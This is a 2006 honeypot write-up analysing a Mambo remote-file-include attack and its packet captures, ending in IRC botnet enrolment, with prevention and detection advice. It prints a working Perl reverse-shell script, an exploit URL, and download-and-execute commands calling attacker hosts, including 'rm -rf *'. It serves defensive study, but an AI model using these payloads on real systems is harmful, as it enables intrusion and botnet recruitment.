Detecting Botnets Using a Low Interaction Honeypot

Jamie Riden
Email:jamesr@europe.com

Wednesday 8th March 2006

Abstract

This paper describes a simple honeypot using PHP and emulating several vulnerabilities in Mambo and Awstats. We show the mechanism used to 'compromise' the server and to download further malware. This honeypot is 'fail-safe' in that when left unattended, the default action is to do nothing – though if the operator is present, exploitation attempts can be investigated. IP addresses and other details have been obfuscated in this version.

Background

The idea for this honeypot was suggested by several captures using the snort Intrusion Detection System [SNT] on a production server. I got tired of seeing various exploits being attempted against my server with little idea of what I would do if an attack was successful. I always make sure my machines are fully patched, but there was the chance of a 0-day, or of a problem being exploited before a patch was issued.

Actors

10.0.x.x – victim
10.0.y.y – syslogd host
216.63.z.z – initiator
66.98.a.a – server hosting the defacing tool
216.99.b.b – machine we get the first stage payload from
217.160.c.c – machine that we connect back to
219.96.d.d – machine we get the second stage payload from

On this occasion, packets were captured which corresponded to the following apache log entry:

```
216.63.z.z - - [28/Feb/2006:12:30:44 +1300] "GET /index2.php?option=com_conte
nt&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GL
OBALS=&mosConfig_absolute_path=http://66.98.a.a/cmd.txt?&cmd=cd%20/tmp;wget%2
0216.99.b.b/cback;chmod%20744%20cback;./cback%20217.160.c.c%208081;wget%20216
.99.b.b/dc.txt;chmod%20744%20dc.txt;perl%20dc.txt%20217.160.c.c%208081;cd%20/
var/tmp;curl%20-o%20cback%20http://216.99.b.b/cback;chmod%20744%20cback;./cba
ck%20217.160.c.c%208081;curl%20-o%20dc.txt%20http://216.99.b.b/dc.txt;chmod%2
0744%20dc.txt;perl%20dc.txt%20217.160.c.c%208081;echo%20YYY;echo|  HTTP/1.1"
404 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-" 0
localhost
```

This isn't the relatively common awstats configdir command execution exploit [AWS], but instead uses the Mambo remote file include vulnerability [MBO] to execute *http://66.98.a.a/cmd.txt* on the victim machine – the Philipine Honeynet Project have analysed an incident in which this script appears:

> " 'Defacing Tool 2.0 by r3v3ng4ns' is a suite of php based scripts that allows the attacker to send commands to the server primarily with the intent to deface websites. The attacks caught by the honeynet has identified a new host for the scripts located in 'http://aldoilea.info/cmd.txt' " [PHI]

Here's the log of our honeypot tool – the program essentially fakes a vulnerable host and downloads the payload of any wget commands which may be embedded in it. If these in turn consist of shell scripts with wget's, their payload is also downloaded. (This was done because early captures I saw made use of an initial shell script which wget'ed two further binaries which were executed on the system.)

```
--12:30:46--  http://216.99.b.b/cback
          => `/tmp/216.99.b.bslashcback-2006-02-28T12:30:46+1300'
Connecting to 216.99.b.b:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,172 [text/plain]

    0K ....                                                  100%  716.80 B/s

12:31:03 (716.80 B/s) - `/tmp/216.99.b.bslashcback-2006-02-28T12:30:46+1300' saved [4172/4172]
```

The command that was parsed out is as follows:

```
cd /tmp; \
wget 216.99.b.b/cback; chmod 744 cback; \
./cback 217.160.c.c 8081; \
wget 216.99.b.b/dc.txt; chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;cd /var/tmp; \
curl -o cback http://216.99.b.b/cback;chmod 744 cback; \
./cback 217.160.c.c 8081; \
```

```
curl -o dc.txt http://216.99.b.b/dc.txt;chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;echo YYY;echo|
```

Someone's trying to cover all the bases here. Maybe /tmp has been marked non-executable? No problem, most servers have perl installed.

It's worth noticing, that five distinct computers have taken part so far – the victim, the computer which exploits the vulnerability and initiates the download, the machine that the malware is downloaded from, the fourth computer which will be connected to on port 8081 and the fifth which is hosting "Defacing Tool v2.0".

This is *dc.txt*:

```
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("id;pwd;uname -a;w;HISTFILE=/dev/null /bin/sh -i");
```

To run the malware, I used a copy of VMWare Player [VMW], together with a community image of Debian 3.1r1 [VMD]. The initial install was updated to current Debian stable before use. Upon execution of '*perl dc.txt 217.160.c.c 8081*' we see the following happen – using windump [WND] on the host Operating System of the virtual machine:

```
11:12:56.791930 IP 10.0.x.x.32770 > 217.160.c.c.8081: P 1:40(39) ack 1 win 5840
<nop,nop,timestamp 454607 3169841954>
      0x0000:  4500 005b 6f63 4000 4006 f4c6 0a00 0078  E..[oc@.@......x
      0x0010:  d9a0 f25a 8002 1f91 231c 80d0 6dd5 df65  ...Z....#...m..e
      0x0020:  8018 16d0 a26a 0000 0101 080a 0006 efcf  .....j..........
      0x0030:  bcef f322 7569 643d 3028 726f 6f74 2920  ..."uid=0(root).
      0x0040:  6769 643d 3028 726f 6f74 2920 6772 6f75  gid=0(root).grou
      0x0050:  7073 3d30 2872 6f6f 7429 0a              ps=0(root).
```

Here, dc.txt is beginning its report '*id;pwd;uname -a;w;*' – I sincerely hope you are not running as root in real life. Anyone who is running snort can breathe a sigh of relief that they will see an alert for this – captured here as a syslog packet:

```
11:12:56.824718 IP 10.0.x.x.514 > 10.0.y.yy.514: SYSLOG auth.alert, length: 164
      0x0000:  4500 00c0 0189 4000 4011 23d4 0a00 0078  E.....@.@.#....x
      0x0010:  0a00 0059 0202 0202 00ac 2937 3c33 333e  ...Y......)7<33>
      0x0020:  736e 6f72 743a 205b 313a 3439 383a 365d  snort:.[1:498:6]
      0x0030:  2041 5454 4143 4b2d 5245 5350 4f4e 5345  .ATTACK-RESPONSE
      0x0040:  5320 6964 2063 6865 636b 2072 6574 7572  S.id.check.retur
      0x0050:  6e65 6420 726f 6f74 205b 436c 6173 7369  ned.root.[Classi
      0x0060:  6669 6361 7469 6f6e 3a20 506f 7465 6e74  fication:.Potent
      0x0070:  6961 6c6c 7920 4261 6420 5472 6166 6669  ially.Bad.Traffi
      0x0080:  635d 205b 5072 696f 7269 7479 3a20 325d  c].[Priority:.2]
      0x0090:  3a20 7b54 4350 7d20 3130 2e30 2exx 2exx  :.{TCP}.10.0.x.x
      0x00a0:  xxxx 3a33 3237 3730 202d 3e20 3231 372e  xx:32770.->.217.
      0x00b0:  3136 302e xxxx xx2e xxxx 3a38 3038 310a  160.ccc.cc:8081.
```

More of the report follows, with details about the logged in users, load, and operating system details:

```
11:12:57.072474 IP 10.0.x.x.32770 > 217.160.c.c.8081: P 40:443(403) ack 1 win 5840
<nop,nop,timestamp 454634 3169842266>
      0x0000:  4500 01c7 6f64 4000 4006 f359 0a00 0078  E...od@.@..Y...x
      0x0010:  d9a0 f25a 8002 1f91 231c 80f7 6dd5 df65  ...Z....#...m..e
      0x0020:  8018 16d0 4ad9 0000 0101 080a 0006 efea  ....J...........
      0x0030:  bcef f45a 2f74 6d70 0a4c 696e 7578 2074  ...Z/tmp.Linux.t
```

```
      0x0040:  6573 7464 6562 2032 2e34 2e32 372d 322d  estdeb.2.4.27-2-
      0x0050:  3338 3620 2331 2057 6564 2041 7567 2031  386.#1.Wed.Aug.1
      0x0060:  3720 3039 3a33 333a 3335 2055 5443 2032  7.09:33:35.UTC.2
      0x0070:  3030 3520 6936 3836 2047 4e55 2f4c 696e  005.i686.GNU/Lin
      0x0080:  7578 0a20 3131 3a31 323a 3534 2075 7020  ux..11:12:54.up.
      0x0090:  2031 3a31 352c 2020 3220 7573 6572 732c  .1:15,..2.users,
      0x00a0:  2020 6c6f 6164 2061 7665 7261 6765 3a20  ..load.average:.
      0x00b0:  302e 3030 2c20 302e 3030 2c20 302e 3030  0.00,.0.00,.0.00
      0x00c0:  0a55 5345 5220 2020 2020 5454 5920 2020  .USER.....TTY...
      0x00d0:  2020 2046 524f 4d20 2020 2020 2020 2020  ...FROM.........
      0x00e0:  2020 2020 204c 4f47 494e 4020 2020 4944  .....LOGIN@...ID
      0x00f0:  4c45 2020 204a 4350 5520 2020 5043 5055  LE...JCPU...PCPU
      0x0100:  2057 4841 540a 726f 6f74 2020 2020 2074  .WHAT.root.....t
      0x0110:  7479 3120 2020 2020 2d20 2020 2020 2020  ty1.....-.......
      0x0120:  2020 2020 2020 2020 2031 303a 3030 2020  .........10:00..
      0x0130:  2020 313a 3132 6d20 2030 2e31 3173 2020  ..1:12m..0.11s..
      0x0140:  302e 3131 7320 2d62 6173 680a 726f 6f74  0.11s.-bash.root
      0x0150:  2020 2020 2070 7473 2f30 2020 2020 3130  .....pts/0....10
      0x0160:  2e30 2e30 2e31 3131 2020 2020 2020 2031  .0.0.111.......1
      0x0170:  303a 3531 2020 2020 312e 3030 7320 2030  0:51....1.00s..0
      0x0180:  2e33 3073 2020 302e 3134 7320 7065 726c  .30s..0.14s.perl
      0x0190:  2064 632e 7478 7420 3231 370a 7368 3a20  .dc.txt.217.sh:.
      0x01a0:  6e6f 206a 6f62 2063 6f6e 7472 6f6c 2069  no.job.control.i
      0x01b0:  6e20 7468 6973 2073 6865 6c6c 0a73 682d  n.this.shell.sh-
      0x01c0:  322e 3035 6223 20                        2.05b#.
```

Very quickly we see a reply from the remote server – suggesting some kind of automation on the remote end. The victim is instructed to download and run a perl program called 'under'. It is downloaded from a fifth server which we haven't seen up until now.

```
11:12:57.353785  IP  217.160.c.c.8081  >  10.0.x.x.32770:  .  ack  443  win  1716
<nop,nop,timestamp 3169842547 454634>
      0x0000:  4500 0034 2b61 4000 2d06 4bf0 d9a0 f25a  E..4+a@.-.K....Z
      0x0010:  0a00 0078 1f91 8002 6dd5 df65 231c 828a  ...x....m..e#...
      0x0020:  8010 06b4 64cc 0000 0101 080a bcef f573  ....d..........s
      0x0030:  0006 efea                                ....
11:12:57.633888 IP 217.160.c.c.8081 > 10.0.x.x.32770: P 1:68(67) ack 443 win 1716
<nop,nop,timestamp 3169842829 454634>
      0x0000:  4500 0077 2b63 4000 2d06 4bab d9a0 f25a  E..w+c@.-.K....Z
      0x0010:  0a00 0078 1f91 8002 6dd5 df65 231c 828a  ...x....m..e#...
      0x0020:  8018 06b4 0714 0000 0101 080a bcef f68d  ................
      0x0030:  0006 efea 6b69 6c6c 202d 3920 2d31 3b77  ....kill.-9.-1;w
      0x0040:  6765 7420 3231 392e 3936 2exx xxxx 2exx  get.219.96.ddd.d
      0x0050:  xxxx 2f7e 6d61 7275 7961 6d61 2f75 6e64  dd/~maruyama/und
      0x0060:  6572 3b70 6572 6c20 756e 6465 723b 726d  er;perl.under;rm
      0x0070:  202d 7266 202a 0a                        .-rf.*.
11:12:57.634460  IP  10.0.x.x.32770  >  217.160.c.c.8081:  .  ack  68  win  5840
<nop,nop,timestamp 454689 3169842829>
      0x0000:  4500 0034 6f65 4000 4006 f4eb 0a00 0078  E..4oe@.@......x
      0x0010:  d9a0 f25a 8002 1f91 231c 828a 6dd5 dfa8  ...Z....#...m...
      0x0020:  8010 16d0 531c 0000 0101 080a 0006 f021  ....S..........!
      0x0030:  bcef f68d                                ....
11:12:57.914299 IP 217.160.c.c.8081 > 10.0.x.x.32770: P 68:69(1) ack 443 win 1716
<nop,nop,timestamp 3169843109 454689>
      0x0000:  4500 0035 2b65 4000 2d06 4beb d9a0 f25a  E..5+e@.-.K....Z
      0x0010:  0a00 0078 1f91 8002 6dd5 dfa8 231c 828a  ...x....m...#...
      0x0020:  8018 06b4 5817 0000 0101 080a bcef f7a5  ....X...........
      0x0030:  0006 f021 0a                             ...!.
11:12:57.925685  IP  10.0.x.x.32770  >  217.160.c.c.8081:  .  ack  69  win  5840
<nop,nop,timestamp 454717 3169843109>
      0x0000:  4500 0034 6f66 4000 4006 f4ea 0a00 0078  E..4of@.@......x
      0x0010:  d9a0 f25a 8002 1f91 231c 828a 6dd5 dfa9  ...Z....#...m...
      0x0020:  8010 16d0 51e7 0000 0101 080a 0006 f03d  ....Q..........=
      0x0030:  bcef f7a5                                ....
11:12:58.024101 IP 10.0.x.x.32770 > 217.160.c.c.8081: R 443:443(0) ack 69 win 5840
<nop,nop,timestamp 454727 3169843109>
      0x0000:  4500 0034 6f67 4000 4006 f4e9 0a00 0078  E..4og@.@......x
      0x0010:  d9a0 f25a 8002 1f91 231c 828a 6dd5 dfa9  ...Z....#...m...
      0x0020:  8014 16d0 51d9 0000 0101 080a 0006 f047  ....Q..........G
      0x0030:  bcef f7a5                                ....
```

On execution of '*under*', the victim computer joins an IRC channel:

```
12:17:48.366656 IP 10.0.x.x.32768 > 203.114.128.1.53:  42459+ A? eu.undernet.org. (33)
      0x0000:  4500 003d 5c1a 4000 4011 88aa 0a00 0078  E..=\.@.@......x
      0x0010:  cb72 8001 8000 0035 0029 e1a3 a5db 0100  .r.....5.)......
      0x0020:  0001 0000 0000 0000 0265 7508 756e 6465  .........eu.unde
      0x0030:  726e 6574 036f 7267 0000 0100 01         rnet.org.....
12:17:48.549653 IP 203.114.128.1.53 > 10.0.x.x.32768:  42459 14/3/2 A 195.204.1.132, A
129.27.9.248, A 161.53.178.240, A 193.109.122.67, A 193.110.95.1, A 194.109.20.90, A
194.134.7.194, A 194.134.7.195, A 195.47.220.2, A 195.54.102.4, A 195.68.221.221, A
195.144.12.5, A 195.197.175.21, A 195.204.1.130 (358)
      0x0000:  4500 0182 74d2 4000 3d11 71ad cb72 8001  E...t.@.=.q..r..
      0x0010:  0a00 0078 0035 8000 016e 04b6 a5db 8180  ...x.5...n......
      0x0020:  0001 000e 0003 0002 0265 7508 756e 6465  .........eu.unde
      0x0030:  726e 6574 036f 7267 0000 0100 01c0 0c00  rnet.org........
      0x0040:  0100 0100 0002 5800 04c3 cc01 84c0 0c00  ......X.........
      0x0050:  0100 0100 0002 5800 0481 1b09 f8c0 0c00  ......X.........
      0x0060:  0100 0100 0002 5800 04a1 35b2 f0c0 0c00  ......X...5.....
      0x0070:  0100 0100 0002 5800 04c1 6d7a 43c0 0c00  ......X...mzC...
      0x0080:  0100 0100 0002 5800 04c1 6e5f 01c0 0c00  ......X...n_....
      0x0090:  0100 0100 0002 5800 04c2 6d14 5ac0 0c00  ......X...m.Z...
      0x00a0:  0100 0100 0002 5800 04c2 8607 c2c0 0c00  ......X.........
      0x00b0:  0100 0100 0002 5800 04c2 8607 c3c0 0c00  ......X.........
      0x00c0:  0100 0100 0002 5800 04c3 2fdc 02c0 0c00  ......X.../.....
      0x00d0:  0100 0100 0002 5800 04c3 3666 04c0 0c00  ......X...6f....
      0x00e0:  0100 0100 0002 5800 04c3 44dd ddc0 0c00  ......X...D.....
      0x00f0:  0100 0100 0002 5800 04c3 900c 05c0 0c00  ......X.........
      0x0100:  0100 0100 0002 5800 04c3 c5af 15c0 0c00  ......X.........
      0x0110:  0100 0100 0002 5800 04c3 cc01 82c0 0f00  ......X.........
      0x0120:  0200 0100 003e 8a00 0d06 6e73 2d65 7874  .....>....ns-ext
      0x0130:  0369 7363 c018 c00f 0002 0001 0000 3e8a  .isc..........>.
      0x0140:  000d 026e 7304 6575 726f 036e 6574 00c0  ...ns.euro.net..
      0x0150:  0f00 0200 0100 003e 8a00 0704 6e73 2d6b  .......>....ns-k
      0x0160:  c00f c126 0001 0001 0000 3558 0004 c286  ...&......5X....
      0x0170:  000c c13f 0001 0001 0000 66d9 0004 c344  ...?......f....D
      0x0180:  ddc9                                     ..
12:17:48.551472 IP 10.0.x.x.32776 > 195.204.1.132.6667: S 186233701:186233701(0) win
5840 <mss 1460,sackOK,timestamp 89132 0,nop,wscale 0>
      0x0000:  4500 003c ef49 4000 4006 7baa 0a00 0078  E..<.I@.@.{....x
      0x0010:  c3cc 0184 8008 1a0b 0b19 b365 0000 0000  ...........e....
      0x0020:  a002 16d0 acaf 0000 0204 05b4 0402 080a  ................
      0x0030:  0001 5c2c 0000 0000 0103 0300            ..\,........
12:17:51.514273 IP 10.0.x.x.32776 > 195.204.1.132.6667: S 186233701:186233701(0) win
5840 <mss 1460,sackOK,timestamp 89432 0,nop,wscale 0>
      0x0000:  4500 003c ef4a 4000 4006 7ba9 0a00 0078  E..<.J@.@.{....x
      0x0010:  c3cc 0184 8008 1a0b 0b19 b365 0000 0000  ...........e....
      0x0020:  a002 16d0 ab83 0000 0204 05b4 0402 080a  ................
      0x0030:  0001 5d58 0000 0000 0103 0300            ..]X........
12:17:52.813802 IP 195.204.1.132.6667 > 10.0.x.x.32776: S 1207608808:1207608808(0) ack
186233702   win   2048   <mss   1460,nop,wscale   0,nop,nop,timestamp   1512146662
89432,nop,nop,sackOK>
      0x0000:  4500 0040 96d6 4000 2a06 ea19 c3cc 0184  E..@..@.*.......
      0x0010:  0a00 0078 1a0b 8008 47fa a5e8 0b19 b366  ...x....G......f
      0x0020:  b012 0800 d951 0000 0204 05b4 0103 0300  .....Q..........
      0x0030:  0101 080a 5a21 86e6 0001 5d58 0101 0402  ....Z!....]X....
12:17:52.814256  IP  10.0.x.x.32776  >  195.204.1.132.6667:  .  ack  1  win  5840
<nop,nop,timestamp 89557 1512146662>
      0x0000:  4500 0034 ef4b 4000 4006 7bb0 0a00 0078  E..4.K@.@.{....x
      0x0010:  c3cc 0184 8008 1a0b 0b19 b366 47fa a5e9  ...........fG...
      0x0020:  8010 16d0 0ad0 0000 0101 080a 0001 5dd5  ..............].
      0x0030:  5a21 86e6                                Z!..
12:17:52.816137 IP 10.0.x.x.32776 > 195.204.1.132.6667: P 1:15(14) ack 1 win 5840
<nop,nop,timestamp 89558 1512146662>
      0x0000:  4500 0042 ef4c 4000 4006 7ba1 0a00 0078  E..B.L@.@.{....x
      0x0010:  c3cc 0184 8008 1a0b 0b19 b366 47fa a5e9  ...........fG...
      0x0020:  8018 16d0 5b88 0000 0101 080a 0001 5dd6  ....[.........].
      0x0030:  5a21 86e6 4e49 434b 2077 6572 3535 3573  Z!..NICK.wer555s
      0x0040:  2d0a                                     -.
12:17:53.195356 IP 195.204.1.132.6667 > 10.0.x.x.32776: P 1:44(43) ack 1 win 2896
```

```
<nop,nop,timestamp 1512146700 89557>
      0x0000:  4500 005f 9b7d 4000 2a06 e553 c3cc 0184  E.._.}@.*..S....
      0x0010:  0a00 0078 1a0b 8008 47fa a5e9 0b19 b366  ...x....G......f
      0x0020:  8018 0b50 5046 0000 0101 080a 5a21 870c  ...PPF......Z!..
      0x0030:  0001 5dd5 4e4f 5449 4345 2041 5554 4820  ..].NOTICE.AUTH.
      0x0040:  3a2a 2a2a 204c 6f6f 6b69 6e67 2075 7020  :***.Looking.up.
      0x0050:  796f 7572 2068 6f73 746e 616d 650d 0a    your.hostname..
12:17:53.196318  IP  10.0.x.x.32776  >  195.204.1.132.6667:  .  ack  44  win  5840
<nop,nop,timestamp 89601 1512146700>
      0x0000:  4500 0034 ef4d 4000 4006 7bae 0a00 0078  E..4.M@.@.{....x
      0x0010:  c3cc 0184 8008 1a0b 0b19 b374 47fa a614  ...........tG...
      0x0020:  8010 16d0 0a45 0000 0101 080a 0001 5e01  .....E........^.
      0x0030:  5a21 870c                                Z!..
12:17:53.297268 IP 195.204.1.132.6667 > 10.0.x.x.32776: P 44:77(33) ack 15 win 2882
<nop,nop,timestamp 1512146710 89558>
      0x0000:  4500 0055 9c6d 4000 2a06 e46d c3cc 0184  E..U.m@.*..m....
      0x0010:  0a00 0078 1a0b 8008 47fa a614 0b19 b374  ...x....G......t
      0x0020:  8018 0b42 2460 0000 0101 080a 5a21 8716  ...B$`......Z!..
      0x0030:  0001 5dd6 4e4f 5449 4345 2041 5554 4820  ..].NOTICE.AUTH.
      0x0040:  3a2a 2a2a 2043 6865 636b 696e 6720 4964  :***.Checking.Id
      0x0050:  656e 740d 0a                             ent..
12:17:53.297530 IP 10.0.x.x.32776 > 195.204.1.132.6667: P 15:130(115) ack 77 win 5840
<nop,nop,timestamp 89611 1512146710>
      0x0000:  4500 00a7 ef4e 4000 4006 7b3a 0a00 0078  E....N@.@.{:...x
      0x0010:  c3cc 0184 8008 1a0b 0b19 b374 47fa a635  ...........tG..5
      0x0020:  8018 16d0 ff31 0000 0101 080a 0001 5e0b  .....1........^.
      0x0030:  5a21 8716 5553 4552 2074 6566 3233 3373  Z!..USER.tef233s
      0x0040:  2031 302e 302e xx2e xxxx xx20 6575 2e75  .10.0.x.xxx.eu.u
      0x0050:  6e64 6572 6e65 742e 6f72 6720 3a4c 696e  ndernet.org.:Lin
      0x0060:  7578 2074 6573 7464 6562 2032 2e34 2e32  ux.testdeb.2.4.2
      0x0070:  372d 322d 3338 3620 2331 2057 6564 2041  7-2-386.#1.Wed.A
      0x0080:  7567 2031 3720 3039 3a33 333a 3335 2055  ug.17.09:33:35.U
      0x0090:  5443 2032 3030 3520 6936 3836 2047 4e55  TC.2005.i686.GNU
      0x00a0:  2f4c 696e 7578 0a                        /Linux.
12:17:53.773910  IP  195.204.1.132.6667  >  10.0x.x.32776:  .  ack  130  win  2767
<nop,nop,timestamp 1512146758 89611>
      0x0000:  4500 0034 a1af 4000 2a06 df4c c3cc 0184  E..4..@.*..L....
      0x0010:  0a00 0078 1a0b 8008 47fa a635 0b19 b3e7  ...x....G..5....
      0x0020:  8010 0acf 156e 0000 0101 080a 5a21 8746  .....n......Z!.F
      0x0030:  0001 5e0b                                ..^.
12:17:53.962089 IP 195.204.1.132.6667 > 10.0.x.x.32776: P 77:115(38) ack 130 win 2767
<nop,nop,timestamp 1512146776 89611>
      0x0000:  4500 005a a410 4000 2a06 dcc5 c3cc 0184  E..Z..@.*.......
      0x0010:  0a00 0078 1a0b 8008 47fa a635 0b19 b3e7  ...x....G..5....
      0x0020:  8018 0acf 4862 0000 0101 080a 5a21 8758  ....Hb......Z!.X
      0x0030:  0001 5e0b 4e4f 5449 4345 2041 5554 4820  ..^.NOTICE.AUTH.
      0x0040:  3a2a 2a2a 2046 6f75 6e64 2079 6f75 7220  :***.Found.your.
      0x0050:  686f 7374 6e61 6d65 0d0a                 hostname..
12:17:53.996597  IP  10.0.x.x.32776  >  195.204.1.132.6667:  .  ack  115  win  5840
<nop,nop,timestamp 89681 1512146776>
      0x0000:  4500 0034 ef4f 4000 4006 7bac 0a00 0078  E..4.O@.@.{....x
      0x0010:  c3cc 0184 8008 1a0b 0b19 b3e7 47fa a65b  ............G..[
      0x0020:  8010 16d0 08ef 0000 0101 080a 0001 5e51  ..............^Q
      0x0030:  5a21 8758                                Z!.X
12:17:54.373257 IP 195.204.1.132.6667 > 10.0.x.x.32776: P 115:186(71) ack 130 win 2896
<nop,nop,timestamp 1512146818 89681>
      0x0000:  4500 007b a94c 4000 2a06 d768 c3cc 0184  E..{.L@.*..h....
      0x0010:  0a00 0078 1a0b 8008 47fa a65b 0b19 b3e7  ...x....G..[....
      0x0020:  8018 0b50 3046 0000 0101 080a 5a21 8782  ...P0F......Z!..
      0x0030:  0001 5e51 3a4f 736c 6f32 2e4e 4f2e 4555  ..^Q:Oslo2.NO.EU
      0x0040:  2e75 6e64 6572 6e65 742e 6f72 6720 3433  .undernet.org.43
      0x0050:  3320 2a20 7765 7235 3535 732d 203a 4e69  3.*.wer555s-.:Ni
      0x0060:  636b 6e61 6d65 2069 7320 616c 7265 6164  ckname.is.alread
      0x0070:  7920 696e 2075 7365 2e0d 0a              y.in.use...
12:17:54.373668  IP  10.0.x.x.32776  >  195.204.1.132.6667:  .  ack  186  win  5840
<nop,nop,timestamp 89718 1512146818>
      0x0000:  4500 0034 ef50 4000 4006 7bab 0a00 0078  E..4.P@.@.{....x
      0x0010:  c3cc 0184 8008 1a0b 0b19 b3e7 47fa a6a2  ............G...
      0x0020:  8010 16d0 0859 0000 0101 080a 0001 5e76  .....Y........^v
      0x0030:  5a21 8782                                Z!..
```

```
12:17:54.374500 IP 10.0.x.x.32776 > 195.204.1.132.6667: P 130:147(17) ack 186 win 5840
<nop,nop,timestamp 89718 1512146818>
      0x0000:  4500 0045 ef51 4000 4006 7b99 0a00 0078  E..E.Q@.@.{....x
      0x0010:  c3cc 0184 8008 1a0b 0b19 b3e7 47fa a6a2  ............G...
      0x0020:  8018 16d0 1eb0 0000 0101 080a 0001 5e76  ..............^v
      0x0030:  5a21 8782 4e49 434b 2077 6572 3535 3573  Z!..NICK.wer555s
      0x0040:  2d39 3030 0a                             -900.
12:17:54.759569 IP 195.204.1.132.6667 > 10.0.x.x.32776: P 186:204(18) ack 147 win 2896
<nop,nop,timestamp 1512146856 89718>
      0x0000:  4500 0046 ac42 4000 2a06 d4a7 c3cc 0184  E..F.B@.*.......
      0x0010:  0a00 0078 1a0b 8008 47fa a6a2 0b19 b3f8  ...x....G.......
      0x0020:  8018 0b50 3fa4 0000 0101 080a 5a21 87a8  ...P?.......Z!..
      0x0030:  0001 5e76 5049 4e47 203a 3138 3937 3836  ..^vPING.:189786
      0x0040:  3333 3236 0d0a                           3326..
12:17:54.760389 IP 10.0.x.x.32776 > 195.204.1.132.6667: P 147:164(17) ack 204 win 5840
<nop,nop,timestamp 89756 1512146856>
      0x0000:  4500 0045 ef52 4000 4006 7b98 0a00 0078  E..E.R@.@.{....x
      0x0010:  c3cc 0184 8008 1a0b 0b19 b3f8 47fa a6b4  ............G...
      0x0020:  8018 16d0 36f1 0000 0101 080a 0001 5e9c  ....6.........^.
      0x0030:  5a21 87a8 504f 4e47 203a 3138 3937 3836  Z!..PONG.:189786
      0x0040:  3333 3236 0a                             3326.
12:17:55.158770 IP 195.204.1.132.6667 > 10.0.x.x.32776: P 204:1243(1039) ack 164 win
2896 <nop,nop,timestamp 1512146896 89756>
      0x0000:  4500 0443 b1aa 4000 2a06 cb42 c3cc 0184  E..C..@.*..B....
      0x0010:  0a00 0078 1a0b 8008 47fa a6b4 0b19 b409  ...x....G.......
      0x0020:  8018 0b50 022b 0000 0101 080a 5a21 87d0  ...P.+......Z!..
      0x0030:  0001 5e9c 3a                             ..^.:
      0x0040:  2e75 6e64 6572 6e65 742e 6f72 6720 3030  .undernet.org.00
      0x0050:  3120 7765 7235 3535 732d 3930 3020 3a57  1.wer555s-900.:W
      0x0060:  656c 636f 6d65 2074 6f20 7468 6520 556e  elcome.to.the.Un
      0x0070:  6465 724e 6574 2049 5243 204e 6574 776f  derNet.IRC.Netwo
      0x0080:  726b 2c20 7765 7235 3535 732d 3930 300d  rk,.wer555s-900.
      0x ....................s.n.i.p.................................
```

Oops, we've been owned and now we're a member of a botnet. 'under' seems to contain code to conduct Denial of Service attacks and to scan ports 21,22,23,25,53,80,110 and 143/tcp.

Prevention

Obviously, if the vulnerable application had not been installed or had not been patched, no further harm would have been done. The exploit is widely adaptable to other vulnerabilities, such as awstats.pl, so all applications have to be carefully monitored.

To block the vector, we could have /tmp and /var/tmp as non-executable, and not have perl in the current path – or have /tmp and /var/tmp non-existent. A second solution would be to use mod_security to block common regular expressions in GET and POST parameters such as /wget \d/. A third is to use a firewall to prevent the server from initiating connections outbound.

SANS suggest setting allow_url_fopen to off in php.ini if possible [SAN].

Detection

As we saw, snort detected the initial exchange of the compromise, specifically the output of the '*id*' command. Further bot activity, especially communication with the IRC server can often be picked up by signatures from the bleeding snort project [BLD], derived from data from the University of Stuttgart's CERT [BOT].

References

[AWS] Awstats vulnerability, *http://www.securityfocus.com/bid/12543 and http://packetstormsecurity.nl/0501-exploits/AWStatsVulnAnalysis.pdf*

[BLD] Bleeding edge snort signatures, *http://bleeding-snort.com*

[BOT] 'Bot signatures, *http://cert.uni-stuttgart.de/doc/netsec/bots.php*

[MBO] Mambo remote file include vulnerability, http://www.securityfocus.com/bid/6572 , *http://secunia.com/advisories/18935/*

[PHI] Defacing Tool 2.0 by r3v3ng4ns, *http://www.philippinehoneynet.org/charts_2006-01-20/analysis.php*

[SAN] Probable php shell/web defacement tool usage on the rise, *http://isc.sans.org/diary.php?rss&storyid=1030*

[SNT] The Snort Intrusion Detection System, *http://www.snort.org/*

[VMD] VMWare minimal Debian image, *http://chaz6.com/?page_id=141* , *http://chaz6.com/static/files/vmware/Debian%203.1r1.zip*

[VMW] VMWare Player, *http://www.vmware.com/products/player/*

[WND] Windump, *http://www.winpcap.org/windump/*